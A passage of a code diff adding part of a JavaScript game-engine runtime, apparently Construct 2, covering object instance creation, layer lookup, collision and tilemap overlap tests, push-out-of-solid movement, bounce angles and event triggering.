+ inst.effect_params[i][j] = wm[12][i][j];
+ }
+ inst.bbox.set(0, 0, 0, 0);
+ inst.collcells.set(0, 0, -1, -1);
+ inst.rendercells.set(0, 0, -1, -1);
+ inst.bquad.set_from_rect(inst.bbox);
+ cr.clearArray(inst.bbox_changed_callbacks);
+ }
+ else
+ {
+ inst.effect_params = wm[12].slice(0);
+ for (i = 0, len = inst.effect_params.length; i < len; i++)
+ inst.effect_params[i] = wm[12][i].slice(0);
+ inst.active_effect_types = [];
+ inst.active_effect_flags = [];
+ inst.active_effect_flags.length = type.effect_types.length;
+ inst.bbox = new cr.rect(0, 0, 0, 0);
+ inst.collcells = new cr.rect(0, 0, -1, -1);
+ inst.rendercells = new cr.rect(0, 0, -1, -1);
+ inst.bquad = new cr.quad();
+ inst.bbox_changed_callbacks = [];
+ inst.set_bbox_changed = cr.set_bbox_changed;
+ inst.add_bbox_changed_callback = cr.add_bbox_changed_callback;
+ inst.contains_pt = cr.inst_contains_pt;
+ inst.update_bbox = cr.update_bbox;
+ inst.update_render_cell = cr.update_render_cell;
+ inst.update_collision_cell = cr.update_collision_cell;
+ inst.get_zindex = cr.inst_get_zindex;
+ }
+ inst.tilemap_exists = false;
+ inst.tilemap_width = 0;
+ inst.tilemap_height = 0;
+ inst.tilemap_data = null;
+ if (wm.length === 14)
+ {
+ inst.tilemap_exists = true;
+ inst.tilemap_width = wm[13][0];
+ inst.tilemap_height = wm[13][1];
+ inst.tilemap_data = wm[13][2];
+ }
+ for (i = 0, len = type.effect_types.length; i < len; i++)
+ inst.active_effect_flags[i] = true;
+ inst.shaders_preserve_opaqueness = true;
+ inst.updateActiveEffects = cr.inst_updateActiveEffects;
+ inst.updateActiveEffects();
+ inst.uses_shaders = !!inst.active_effect_types.length;
+ inst.bbox_changed = true;
+ inst.cell_changed = true;
+ type.any_cell_changed = true;
+ inst.visible = true;
+ inst.my_timescale = -1.0;
+ inst.layer = layer;
+ inst.zindex = layer.instances.length; // will be placed at top of current layer
+ inst.earlyz_index = 0;
+ if (typeof inst.collision_poly === "undefined")
+ inst.collision_poly = null;
+ inst.collisionsEnabled = true;
+ this.redraw = true;
+ }
+ var initial_props, binst;
+ cr.clearArray(all_behaviors);
+ for (i = 0, len = type.families.length; i < len; i++)
+ {
+ all_behaviors.push.apply(all_behaviors, type.families[i].behaviors);
+ }
+ all_behaviors.push.apply(all_behaviors, type.behaviors);
+ if (inst.recycled)
+ {
+ for (i = 0, len = all_behaviors.length; i < len; i++)
+ {
+ var btype = all_behaviors[i];
+ binst = inst.behavior_insts[i];
+ binst.recycled = true;
+ btype.behavior.Instance.call(binst, btype, inst);
+ initial_props = initial_inst[4][i];
+ for (j = 0, lenj = initial_props.length; j < lenj; j++)
+ binst.properties[j] = initial_props[j];
+ binst.onCreate();
+ btype.behavior.my_instances.add(inst);
+ }
+ }
+ else
+ {
+ inst.behavior_insts = [];
+ for (i = 0, len = all_behaviors.length; i < len; i++)
+ {
+ var btype = all_behaviors[i];
+ var binst = new btype.behavior.Instance(btype, inst);
+ binst.recycled = false;
+ binst.properties = initial_inst[4][i].slice(0);
+ binst.onCreate();
+ cr.seal(binst);
+ inst.behavior_insts.push(binst);
+ btype.behavior.my_instances.add(inst);
+ }
+ }
+ initial_props = initial_inst[5];
+ if (inst.recycled)
+ {
+ for (i = 0, len = initial_props.length; i < len; i++)
+ inst.properties[i] = initial_props[i];
+ }
+ else
+ inst.properties = initial_props.slice(0);
+ this.createRow.push(inst);
+ this.hasPendingInstances = true;
+ if (layer)
+ {
+;
+ layer.appendToInstanceList(inst, true);
+ if (layer.parallaxX !== 1 || layer.parallaxY !== 1)
+ type.any_instance_parallaxed = true;
+ }
+ this.objectcount++;
+ if (type.is_contained)
+ {
+ inst.is_contained = true;
+ if (inst.recycled)
+ cr.clearArray(inst.siblings);
+ else
+ inst.siblings = []; // note: should not include self in siblings
+ if (!is_startup_instance && !skip_siblings) // layout links initial instances
+ {
+ for (i = 0, len = type.container.length; i < len; i++)
+ {
+ if (type.container[i] === type)
+ continue;
+ if (!type.container[i].default_instance)
+ {
+ return null;
+ }
+ inst.siblings.push(this.createInstanceFromInit(type.container[i].default_instance, original_layer, false, is_world ? inst.x : sx, is_world ? inst.y : sy, true));
+ }
+ for (i = 0, len = inst.siblings.length; i < len; i++)
+ {
+ inst.siblings[i].siblings.push(inst);
+ for (j = 0; j < len; j++)
+ {
+ if (i !== j)
+ inst.siblings[i].siblings.push(inst.siblings[j]);
+ }
+ }
+ }
+ }
+ else
+ {
+ inst.is_contained = false;
+ inst.siblings = null;
+ }
+ inst.onCreate();
+ if (!inst.recycled)
+ cr.seal(inst);
+ for (i = 0, len = inst.behavior_insts.length; i < len; i++)
+ {
+ if (inst.behavior_insts[i].postCreate)
+ inst.behavior_insts[i].postCreate();
+ }
+ return inst;
+ };
+ Runtime.prototype.getLayerByName = function (layer_name)
+ {
+ var i, len;
+ for (i = 0, len = this.running_layout.layers.length; i < len; i++)
+ {
+ var layer = this.running_layout.layers[i];
+ if (cr.equals_nocase(layer.name, layer_name))
+ return layer;
+ }
+ return null;
+ };
+ Runtime.prototype.getLayerByNumber = function (index)
+ {
+ index = cr.floor(index);
+ if (index < 0)
+ index = 0;
+ if (index >= this.running_layout.layers.length)
+ index = this.running_layout.layers.length - 1;
+ return this.running_layout.layers[index];
+ };
+ Runtime.prototype.getLayer = function (l)
+ {
+ if (cr.is_number(l))
+ return this.getLayerByNumber(l);
+ else
+ return this.getLayerByName(l.toString());
+ };
+ Runtime.prototype.clearSol = function (solModifiers)
+ {
+ var i, len;
+ for (i = 0, len = solModifiers.length; i < len; i++)
+ {
+ solModifiers[i].getCurrentSol().select_all = true;
+ }
+ };
+ Runtime.prototype.pushCleanSol = function (solModifiers)
+ {
+ var i, len;
+ for (i = 0, len = solModifiers.length; i < len; i++)
+ {
+ solModifiers[i].pushCleanSol();
+ }
+ };
+ Runtime.prototype.pushCopySol = function (solModifiers)
+ {
+ var i, len;
+ for (i = 0, len = solModifiers.length; i < len; i++)
+ {
+ solModifiers[i].pushCopySol();
+ }
+ };
+ Runtime.prototype.popSol = function (solModifiers)
+ {
+ var i, len;
+ for (i = 0, len = solModifiers.length; i < len; i++)
+ {
+ solModifiers[i].popSol();
+ }
+ };
+ Runtime.prototype.updateAllCells = function (type)
+ {
+ if (!type.any_cell_changed)
+ return; // all instances must already be up-to-date
+ var i, len, instances = type.instances;
+ for (i = 0, len = instances.length; i < len; ++i)
+ {
+ instances[i].update_collision_cell();
+ }
+ var createRow = this.createRow;
+ for (i = 0, len = createRow.length; i < len; ++i)
+ {
+ if (createRow[i].type === type)
+ createRow[i].update_collision_cell();
+ }
+ type.any_cell_changed = false;
+ };
+ Runtime.prototype.getCollisionCandidates = function (layer, rtype, bbox, candidates)
+ {
+ var i, len, t;
+ var is_parallaxed = (layer ? (layer.parallaxX !== 1 || layer.parallaxY !== 1) : false);
+ if (rtype.is_family)
+ {
+ for (i = 0, len = rtype.members.length; i < len; ++i)
+ {
+ t = rtype.members[i];
+ if (is_parallaxed || t.any_instance_parallaxed)
+ {
+ cr.appendArray(candidates, t.instances);
+ }
+ else
+ {
+ this.updateAllCells(t);
+ t.collision_grid.queryRange(bbox, candidates);
+ }
+ }
+ }
+ else
+ {
+ if (is_parallaxed || rtype.any_instance_parallaxed)
+ {
+ cr.appendArray(candidates, rtype.instances);
+ }
+ else
+ {
+ this.updateAllCells(rtype);
+ rtype.collision_grid.queryRange(bbox, candidates);
+ }
+ }
+ };
+ Runtime.prototype.getTypesCollisionCandidates = function (layer, types, bbox, candidates)
+ {
+ var i, len;
+ for (i = 0, len = types.length; i < len; ++i)
+ {
+ this.getCollisionCandidates(layer, types[i], bbox, candidates);
+ }
+ };
+ Runtime.prototype.getSolidCollisionCandidates = function (layer, bbox, candidates)
+ {
+ var solid = this.getSolidBehavior();
+ if (!solid)
+ return null;
+ this.getTypesCollisionCandidates(layer, solid.my_types, bbox, candidates);
+ };
+ Runtime.prototype.getJumpthruCollisionCandidates = function (layer, bbox, candidates)
+ {
+ var jumpthru = this.getJumpthruBehavior();
+ if (!jumpthru)
+ return null;
+ this.getTypesCollisionCandidates(layer, jumpthru.my_types, bbox, candidates);
+ };
+ Runtime.prototype.testAndSelectCanvasPointOverlap = function (type, ptx, pty, inverted)
+ {
+ var sol = type.getCurrentSol();
+ var i, j, inst, len;
+ var orblock = this.getCurrentEventStack().current_event.orblock;
+ var lx, ly, arr;
+ if (sol.select_all)
+ {
+ if (!inverted)
+ {
+ sol.select_all = false;
+ cr.clearArray(sol.instances); // clear contents
+ }
+ for (i = 0, len = type.instances.length; i < len; i++)
+ {
+ inst = type.instances[i];
+ inst.update_bbox();
+ lx = inst.layer.canvasToLayer(ptx, pty, true);
+ ly = inst.layer.canvasToLayer(ptx, pty, false);
+ if (inst.contains_pt(lx, ly))
+ {
+ if (inverted)
+ return false;
+ else
+ sol.instances.push(inst);
+ }
+ else if (orblock)
+ sol.else_instances.push(inst);
+ }
+ }
+ else
+ {
+ j = 0;
+ arr = (orblock ? sol.else_instances : sol.instances);
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ inst = arr[i];
+ inst.update_bbox();
+ lx = inst.layer.canvasToLayer(ptx, pty, true);
+ ly = inst.layer.canvasToLayer(ptx, pty, false);
+ if (inst.contains_pt(lx, ly))
+ {
+ if (inverted)
+ return false;
+ else if (orblock)
+ sol.instances.push(inst);
+ else
+ {
+ sol.instances[j] = sol.instances[i];
+ j++;
+ }
+ }
+ }
+ if (!inverted)
+ arr.length = j;
+ }
+ type.applySolToContainer();
+ if (inverted)
+ return true; // did not find anything overlapping
+ else
+ return sol.hasObjects();
+ };
+ Runtime.prototype.testOverlap = function (a, b)
+ {
+ if (!a || !b || a === b || !a.collisionsEnabled || !b.collisionsEnabled)
+ return false;
+ a.update_bbox();
+ b.update_bbox();
+ var layera = a.layer;
+ var layerb = b.layer;
+ var different_layers = (layera !== layerb && (layera.parallaxX !== layerb.parallaxX || layerb.parallaxY !== layerb.parallaxY || layera.scale !== layerb.scale || layera.angle !== layerb.angle || layera.zoomRate !== layerb.zoomRate));
+ var i, len, i2, i21, x, y, haspolya, haspolyb, polya, polyb;
+ if (!different_layers) // same layers: easy check
+ {
+ if (!a.bbox.intersects_rect(b.bbox))
+ return false;
+ if (!a.bquad.intersects_quad(b.bquad))
+ return false;
+ if (a.tilemap_exists && b.tilemap_exists)
+ return false;
+ if (a.tilemap_exists)
+ return this.testTilemapOverlap(a, b);
+ if (b.tilemap_exists)
+ return this.testTilemapOverlap(b, a);
+ haspolya = (a.collision_poly && !a.collision_poly.is_empty());
+ haspolyb = (b.collision_poly && !b.collision_poly.is_empty());
+ if (!haspolya && !haspolyb)
+ return true;
+ if (haspolya)
+ {
+ a.collision_poly.cache_poly(a.width, a.height, a.angle);
+ polya = a.collision_poly;
+ }
+ else
+ {
+ this.temp_poly.set_from_quad(a.bquad, a.x, a.y, a.width, a.height);
+ polya = this.temp_poly;
+ }
+ if (haspolyb)
+ {
+ b.collision_poly.cache_poly(b.width, b.height, b.angle);
+ polyb = b.collision_poly;
+ }
+ else
+ {
+ this.temp_poly.set_from_quad(b.bquad, b.x, b.y, b.width, b.height);
+ polyb = this.temp_poly;
+ }
+ return polya.intersects_poly(polyb, b.x - a.x, b.y - a.y);
+ }
+ else // different layers: need to do full translated check
+ {
+ haspolya = (a.collision_poly && !a.collision_poly.is_empty());
+ haspolyb = (b.collision_poly && !b.collision_poly.is_empty());
+ if (haspolya)
+ {
+ a.collision_poly.cache_poly(a.width, a.height, a.angle);
+ this.temp_poly.set_from_poly(a.collision_poly);
+ }
+ else
+ {
+ this.temp_poly.set_from_quad(a.bquad, a.x, a.y, a.width, a.height);
+ }
+ polya = this.temp_poly;
+ if (haspolyb)
+ {
+ b.collision_poly.cache_poly(b.width, b.height, b.angle);
+ this.temp_poly2.set_from_poly(b.collision_poly);
+ }
+ else
+ {
+ this.temp_poly2.set_from_quad(b.bquad, b.x, b.y, b.width, b.height);
+ }
+ polyb = this.temp_poly2;
+ for (i = 0, len = polya.pts_count; i < len; i++)
+ {
+ i2 = i * 2;
+ i21 = i2 + 1;
+ x = polya.pts_cache[i2];
+ y = polya.pts_cache[i21];
+ polya.pts_cache[i2] = layera.layerToCanvas(x + a.x, y + a.y, true);
+ polya.pts_cache[i21] = layera.layerToCanvas(x + a.x, y + a.y, false);
+ }
+ polya.update_bbox();
+ for (i = 0, len = polyb.pts_count; i < len; i++)
+ {
+ i2 = i * 2;
+ i21 = i2 + 1;
+ x = polyb.pts_cache[i2];
+ y = polyb.pts_cache[i21];
+ polyb.pts_cache[i2] = layerb.layerToCanvas(x + b.x, y + b.y, true);
+ polyb.pts_cache[i21] = layerb.layerToCanvas(x + b.x, y + b.y, false);
+ }
+ polyb.update_bbox();
+ return polya.intersects_poly(polyb, 0, 0);
+ }
+ };
+ var tmpQuad = new cr.quad();
+ var tmpRect = new cr.rect(0, 0, 0, 0);
+ var collrect_candidates = [];
+ Runtime.prototype.testTilemapOverlap = function (tm, a)
+ {
+ var i, len, c, rc;
+ var bbox = a.bbox;
+ var tmx = tm.x;
+ var tmy = tm.y;
+ tm.getCollisionRectCandidates(bbox, collrect_candidates);
+ var collrects = collrect_candidates;
+ var haspolya = (a.collision_poly && !a.collision_poly.is_empty());
+ for (i = 0, len = collrects.length; i < len; ++i)
+ {
+ c = collrects[i];
+ rc = c.rc;
+ if (bbox.intersects_rect_off(rc, tmx, tmy))
+ {
+ tmpQuad.set_from_rect(rc);
+ tmpQuad.offset(tmx, tmy);
+ if (tmpQuad.intersects_quad(a.bquad))
+ {
+ if (haspolya)
+ {
+ a.collision_poly.cache_poly(a.width, a.height, a.angle);
+ if (c.poly)
+ {
+ if (c.poly.intersects_poly(a.collision_poly, a.x - (tmx + rc.left), a.y - (tmy + rc.top)))
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ else
+ {
+ this.temp_poly.set_from_quad(tmpQuad, 0, 0, rc.right - rc.left, rc.bottom - rc.top);
+ if (this.temp_poly.intersects_poly(a.collision_poly, a.x, a.y))
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ }
+ else
+ {
+ if (c.poly)
+ {
+ this.temp_poly.set_from_quad(a.bquad, 0, 0, a.width, a.height);
+ if (c.poly.intersects_poly(this.temp_poly, -(tmx + rc.left), -(tmy + rc.top)))
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ else
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ }
+ }
+ }
+ cr.clearArray(collrect_candidates);
+ return false;
+ };
+ Runtime.prototype.testRectOverlap = function (r, b)
+ {
+ if (!b || !b.collisionsEnabled)
+ return false;
+ b.update_bbox();
+ var layerb = b.layer;
+ var haspolyb, polyb;
+ if (!b.bbox.intersects_rect(r))
+ return false;
+ if (b.tilemap_exists)
+ {
+ b.getCollisionRectCandidates(r, collrect_candidates);
+ var collrects = collrect_candidates;
+ var i, len, c, tilerc;
+ var tmx = b.x;
+ var tmy = b.y;
+ for (i = 0, len = collrects.length; i < len; ++i)
+ {
+ c = collrects[i];
+ tilerc = c.rc;
+ if (r.intersects_rect_off(tilerc, tmx, tmy))
+ {
+ if (c.poly)
+ {
+ this.temp_poly.set_from_rect(r, 0, 0);
+ if (c.poly.intersects_poly(this.temp_poly, -(tmx + tilerc.left), -(tmy + tilerc.top)))
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ else
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ }
+ cr.clearArray(collrect_candidates);
+ return false;
+ }
+ else
+ {
+ tmpQuad.set_from_rect(r);
+ if (!b.bquad.intersects_quad(tmpQuad))
+ return false;
+ haspolyb = (b.collision_poly && !b.collision_poly.is_empty());
+ if (!haspolyb)
+ return true;
+ b.collision_poly.cache_poly(b.width, b.height, b.angle);
+ tmpQuad.offset(-r.left, -r.top);
+ this.temp_poly.set_from_quad(tmpQuad, 0, 0, 1, 1);
+ return b.collision_poly.intersects_poly(this.temp_poly, r.left - b.x, r.top - b.y);
+ }
+ };
+ Runtime.prototype.testSegmentOverlap = function (x1, y1, x2, y2, b)
+ {
+ if (!b || !b.collisionsEnabled)
+ return false;
+ b.update_bbox();
+ var layerb = b.layer;
+ var haspolyb, polyb;
+ tmpRect.set(cr.min(x1, x2), cr.min(y1, y2), cr.max(x1, x2), cr.max(y1, y2));
+ if (!b.bbox.intersects_rect(tmpRect))
+ return false;
+ if (b.tilemap_exists)
+ {
+ b.getCollisionRectCandidates(tmpRect, collrect_candidates);
+ var collrects = collrect_candidates;
+ var i, len, c, tilerc;
+ var tmx = b.x;
+ var tmy = b.y;
+ for (i = 0, len = collrects.length; i < len; ++i)
+ {
+ c = collrects[i];
+ tilerc = c.rc;
+ if (tmpRect.intersects_rect_off(tilerc, tmx, tmy))
+ {
+ tmpQuad.set_from_rect(tilerc);
+ tmpQuad.offset(tmx, tmy);
+ if (tmpQuad.intersects_segment(x1, y1, x2, y2))
+ {
+ if (c.poly)
+ {
+ if (c.poly.intersects_segment(tmx + tilerc.left, tmy + tilerc.top, x1, y1, x2, y2))
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ else
+ {
+ cr.clearArray(collrect_candidates);
+ return true;
+ }
+ }
+ }
+ }
+ cr.clearArray(collrect_candidates);
+ return false;
+ }
+ else
+ {
+ if (!b.bquad.intersects_segment(x1, y1, x2, y2))
+ return false;
+ haspolyb = (b.collision_poly && !b.collision_poly.is_empty());
+ if (!haspolyb)
+ return true;
+ b.collision_poly.cache_poly(b.width, b.height, b.angle);
+ return b.collision_poly.intersects_segment(b.x, b.y, x1, y1, x2, y2);
+ }
+ };
+ Runtime.prototype.typeHasBehavior = function (t, b)
+ {
+ if (!b)
+ return false;
+ var i, len, j, lenj, f;
+ for (i = 0, len = t.behaviors.length; i < len; i++)
+ {
+ if (t.behaviors[i].behavior instanceof b)
+ return true;
+ }
+ if (!t.is_family)
+ {
+ for (i = 0, len = t.families.length; i < len; i++)
+ {
+ f = t.families[i];
+ for (j = 0, lenj = f.behaviors.length; j < lenj; j++)
+ {
+ if (f.behaviors[j].behavior instanceof b)
+ return true;
+ }
+ }
+ }
+ return false;
+ };
+ Runtime.prototype.typeHasNoSaveBehavior = function (t)
+ {
+ return this.typeHasBehavior(t, cr.behaviors.NoSave);
+ };
+ Runtime.prototype.typeHasPersistBehavior = function (t)
+ {
+ return this.typeHasBehavior(t, cr.behaviors.Persist);
+ };
+ Runtime.prototype.getSolidBehavior = function ()
+ {
+ return this.solidBehavior;
+ };
+ Runtime.prototype.getJumpthruBehavior = function ()
+ {
+ return this.jumpthruBehavior;
+ };
+ var candidates = [];
+ Runtime.prototype.testOverlapSolid = function (inst)
+ {
+ var i, len, s;
+ inst.update_bbox();
+ this.getSolidCollisionCandidates(inst.layer, inst.bbox, candidates);
+ for (i = 0, len = candidates.length; i < len; ++i)
+ {
+ s = candidates[i];
+ if (!s.extra["solidEnabled"])
+ continue;
+ if (this.testOverlap(inst, s))
+ {
+ cr.clearArray(candidates);
+ return s;
+ }
+ }
+ cr.clearArray(candidates);
+ return null;
+ };
+ Runtime.prototype.testRectOverlapSolid = function (r)
+ {
+ var i, len, s;
+ this.getSolidCollisionCandidates(null, r, candidates);
+ for (i = 0, len = candidates.length; i < len; ++i)
+ {
+ s = candidates[i];
+ if (!s.extra["solidEnabled"])
+ continue;
+ if (this.testRectOverlap(r, s))
+ {
+ cr.clearArray(candidates);
+ return s;
+ }
+ }
+ cr.clearArray(candidates);
+ return null;
+ };
+ var jumpthru_array_ret = [];
+ Runtime.prototype.testOverlapJumpThru = function (inst, all)
+ {
+ var ret = null;
+ if (all)
+ {
+ ret = jumpthru_array_ret;
+ cr.clearArray(ret);
+ }
+ inst.update_bbox();
+ this.getJumpthruCollisionCandidates(inst.layer, inst.bbox, candidates);
+ var i, len, j;
+ for (i = 0, len = candidates.length; i < len; ++i)
+ {
+ j = candidates[i];
+ if (!j.extra["jumpthruEnabled"])
+ continue;
+ if (this.testOverlap(inst, j))
+ {
+ if (all)
+ ret.push(j);
+ else
+ {
+ cr.clearArray(candidates);
+ return j;
+ }
+ }
+ }
+ cr.clearArray(candidates);
+ return ret;
+ };
+ Runtime.prototype.pushOutSolid = function (inst, xdir, ydir, dist, include_jumpthrus, specific_jumpthru)
+ {
+ var push_dist = dist || 50;
+ var oldx = inst.x
+ var oldy = inst.y;
+ var i;
+ var last_overlapped = null, secondlast_overlapped = null;
+ for (i = 0; i < push_dist; i++)
+ {
+ inst.x = (oldx + (xdir * i));
+ inst.y = (oldy + (ydir * i));
+ inst.set_bbox_changed();
+ if (!this.testOverlap(inst, last_overlapped))
+ {
+ last_overlapped = this.testOverlapSolid(inst);
+ if (last_overlapped)
+ secondlast_overlapped = last_overlapped;
+ if (!last_overlapped)
+ {
+ if (include_jumpthrus)
+ {
+ if (specific_jumpthru)
+ last_overlapped = (this.testOverlap(inst, specific_jumpthru) ? specific_jumpthru : null);
+ else
+ last_overlapped = this.testOverlapJumpThru(inst);
+ if (last_overlapped)
+ secondlast_overlapped = last_overlapped;
+ }
+ if (!last_overlapped)
+ {
+ if (secondlast_overlapped)
+ this.pushInFractional(inst, xdir, ydir, secondlast_overlapped, 16);
+ return true;
+ }
+ }
+ }
+ }
+ inst.x = oldx;
+ inst.y = oldy;
+ inst.set_bbox_changed();
+ return false;
+ };
+ Runtime.prototype.pushOutSolidAxis = function(inst, xdir, ydir, dist)
+ {
+ dist = dist || 50;
+ var oldX = inst.x;
+ var oldY = inst.y;
+ var lastOverlapped = null;
+ var secondLastOverlapped = null;
+ var i, which, sign;
+ for (i = 0; i < dist; ++i)
+ {
+ for (which = 0; which < 2; ++which)
+ {
+ sign = which * 2 - 1; // -1 or 1
+ inst.x = oldX + (xdir * i * sign);
+ inst.y = oldY + (ydir * i * sign);
+ inst.set_bbox_changed();
+ if (!this.testOverlap(inst, lastOverlapped))
+ {
+ lastOverlapped = this.testOverlapSolid(inst);
+ if (lastOverlapped)
+ {
+ secondLastOverlapped = lastOverlapped;
+ }
+ else
+ {
+ if (secondLastOverlapped)
+ this.pushInFractional(inst, xdir * sign, ydir * sign, secondLastOverlapped, 16);
+ return true;
+ }
+ }
+ }
+ }
+ inst.x = oldX;
+ inst.y = oldY;
+ inst.set_bbox_changed();
+ return false;
+ };
+ Runtime.prototype.pushOut = function (inst, xdir, ydir, dist, otherinst)
+ {
+ var push_dist = dist || 50;
+ var oldx = inst.x
+ var oldy = inst.y;
+ var i;
+ for (i = 0; i < push_dist; i++)
+ {
+ inst.x = (oldx + (xdir * i));
+ inst.y = (oldy + (ydir * i));
+ inst.set_bbox_changed();
+ if (!this.testOverlap(inst, otherinst))
+ return true;
+ }
+ inst.x = oldx;
+ inst.y = oldy;
+ inst.set_bbox_changed();
+ return false;
+ };
+ Runtime.prototype.pushInFractional = function (inst, xdir, ydir, obj, limit)
+ {
+ var divisor = 2;
+ var frac;
+ var forward = false;
+ var overlapping = false;
+ var bestx = inst.x;
+ var besty = inst.y;
+ while (divisor <= limit)
+ {
+ frac = 1 / divisor;
+ divisor *= 2;
+ inst.x += xdir * frac * (forward ? 1 : -1);
+ inst.y += ydir * frac * (forward ? 1 : -1);
+ inst.set_bbox_changed();
+ if (this.testOverlap(inst, obj))
+ {
+ forward = true;
+ overlapping = true;
+ }
+ else
+ {
+ forward = false;
+ overlapping = false;
+ bestx = inst.x;
+ besty = inst.y;
+ }
+ }
+ if (overlapping)
+ {
+ inst.x = bestx;
+ inst.y = besty;
+ inst.set_bbox_changed();
+ }
+ };
+ Runtime.prototype.pushOutSolidNearest = function (inst, max_dist_)
+ {
+ var max_dist = (cr.is_undefined(max_dist_) ? 100 : max_dist_);
+ var dist = 0;
+ var oldx = inst.x
+ var oldy = inst.y;
+ var dir = 0;
+ var dx = 0, dy = 0;
+ var last_overlapped = this.testOverlapSolid(inst);
+ if (!last_overlapped)
+ return true; // already clear of solids
+ while (dist <= max_dist)
+ {
+ switch (dir) {
+ case 0: dx = 0; dy = -1; dist++; break;
+ case 1: dx = 1; dy = -1; break;
+ case 2: dx = 1; dy = 0; break;
+ case 3: dx = 1; dy = 1; break;
+ case 4: dx = 0; dy = 1; break;
+ case 5: dx = -1; dy = 1; break;
+ case 6: dx = -1; dy = 0; break;
+ case 7: dx = -1; dy = -1; break;
+ }
+ dir = (dir + 1) % 8;
+ inst.x = cr.floor(oldx + (dx * dist));
+ inst.y = cr.floor(oldy + (dy * dist));
+ inst.set_bbox_changed();
+ if (!this.testOverlap(inst, last_overlapped))
+ {
+ last_overlapped = this.testOverlapSolid(inst);
+ if (!last_overlapped)
+ return true;
+ }
+ }
+ inst.x = oldx;
+ inst.y = oldy;
+ inst.set_bbox_changed();
+ return false;
+ };
+ Runtime.prototype.registerCollision = function (a, b)
+ {
+ if (!a.collisionsEnabled || !b.collisionsEnabled)
+ return;
+ this.registered_collisions.push([a, b]);
+ };
+ Runtime.prototype.addRegisteredCollisionCandidates = function (inst, otherType, arr)
+ {
+ var i, len, r, otherInst;
+ for (i = 0, len = this.registered_collisions.length; i < len; ++i)
+ {
+ r = this.registered_collisions[i];
+ if (r[0] === inst)
+ otherInst = r[1];
+ else if (r[1] === inst)
+ otherInst = r[0];
+ else
+ continue;
+ if (otherType.is_family)
+ {
+ if (otherType.members.indexOf(otherType) === -1)
+ continue;
+ }
+ else
+ {
+ if (otherInst.type !== otherType)
+ continue;
+ }
+ if (arr.indexOf(otherInst) === -1)
+ arr.push(otherInst);
+ }
+ };
+ Runtime.prototype.checkRegisteredCollision = function (a, b)
+ {
+ var i, len, x;
+ for (i = 0, len = this.registered_collisions.length; i < len; i++)
+ {
+ x = this.registered_collisions[i];
+ if ((x[0] === a && x[1] === b) || (x[0] === b && x[1] === a))
+ return true;
+ }
+ return false;
+ };
+ Runtime.prototype.calculateSolidBounceAngle = function(inst, startx, starty, obj)
+ {
+ var objx = inst.x;
+ var objy = inst.y;
+ var radius = cr.max(10, cr.distanceTo(startx, starty, objx, objy));
+ var startangle = cr.angleTo(startx, starty, objx, objy);
+ var firstsolid = obj || this.testOverlapSolid(inst);
+ if (!firstsolid)
+ return cr.clamp_angle(startangle + cr.PI);
+ var cursolid = firstsolid;
+ var i, curangle, anticlockwise_free_angle, clockwise_free_angle;
+ var increment = cr.to_radians(5); // 5 degree increments
+ for (i = 1; i < 36; i++)
+ {
+ curangle = startangle - i * increment;
+ inst.x = startx + Math.cos(curangle) * radius;
+ inst.y = starty + Math.sin(curangle) * radius;
+ inst.set_bbox_changed();
+ if (!this.testOverlap(inst, cursolid))
+ {
+ cursolid = obj ? null : this.testOverlapSolid(inst);
+ if (!cursolid)
+ {
+ anticlockwise_free_angle = curangle;
+ break;
+ }
+ }
+ }
+ if (i === 36)
+ anticlockwise_free_angle = cr.clamp_angle(startangle + cr.PI);
+ var cursolid = firstsolid;
+ for (i = 1; i < 36; i++)
+ {
+ curangle = startangle + i * increment;
+ inst.x = startx + Math.cos(curangle) * radius;
+ inst.y = starty + Math.sin(curangle) * radius;
+ inst.set_bbox_changed();
+ if (!this.testOverlap(inst, cursolid))
+ {
+ cursolid = obj ? null : this.testOverlapSolid(inst);
+ if (!cursolid)
+ {
+ clockwise_free_angle = curangle;
+ break;
+ }
+ }
+ }
+ if (i === 36)
+ clockwise_free_angle = cr.clamp_angle(startangle + cr.PI);
+ inst.x = objx;
+ inst.y = objy;
+ inst.set_bbox_changed();
+ if (clockwise_free_angle === anticlockwise_free_angle)
+ return clockwise_free_angle;
+ var half_diff = cr.angleDiff(clockwise_free_angle, anticlockwise_free_angle) / 2;
+ var normal;
+ if (cr.angleClockwise(clockwise_free_angle, anticlockwise_free_angle))
+ {
+ normal = cr.clamp_angle(anticlockwise_free_angle + half_diff + cr.PI);
+ }
+ else
+ {
+ normal = cr.clamp_angle(clockwise_free_angle + half_diff);
+ }
+;
+ var vx = Math.cos(startangle);
+ var vy = Math.sin(startangle);
+ var nx = Math.cos(normal);
+ var ny = Math.sin(normal);
+ var v_dot_n = vx * nx + vy * ny;
+ var rx = vx - 2 * v_dot_n * nx;
+ var ry = vy - 2 * v_dot_n * ny;
+ return cr.angleTo(0, 0, rx, ry);
+ };
+ var triggerSheetIndex = -1;
+ Runtime.prototype.trigger = function (method, inst, value /* for fast triggers */)
+ {
+;
+ if (!this.running_layout)
+ return false;
+ var sheet = this.running_layout.event_sheet;
+ if (!sheet)
+ return false; // no event sheet active; nothing to trigger
+ var ret = false;
+ var r, i, len;
+ triggerSheetIndex++;
+ var deep_includes = sheet.deep_includes;
+ for (i = 0, len = deep_includes.length; i < len; ++i)
+ {
+ r = this.triggerOnSheet(method, inst, deep_includes[i], value);
+ ret = ret || r;
+ }
+ r = this.triggerOnSheet(method, inst, sheet, value);
+ ret = ret || r;
+ triggerSheetIndex--;
+ return ret;
+ };
+ Runtime.prototype.triggerOnSheet = function (method, inst, sheet, value)
+ {
+ var ret = false;
+ var i, leni, r, families;
+ if (!inst)
+ {
+ r = this.triggerOnSheetForTypeName(method, inst, "system", sheet, value);
+ ret = ret || r;
+ }
+ else
+ {
+ r = this.triggerOnSheetForTypeName(method, inst, inst.type.name, sheet, value);
+ ret = ret || r;
+ families = inst.type.families;
+ for (i = 0, leni = families.length; i < leni; ++i)
+ {
+ r = this.triggerOnSheetForTypeName(method, inst, families[i].name, sheet, value);
+ ret = ret || r;
+ }
+ }
+ return ret; // true if anything got triggered
+ };
+ Runtime.prototype.triggerOnSheetForTypeName = function (method, inst, type_name, sheet, value)
+ {
+ var i, leni;
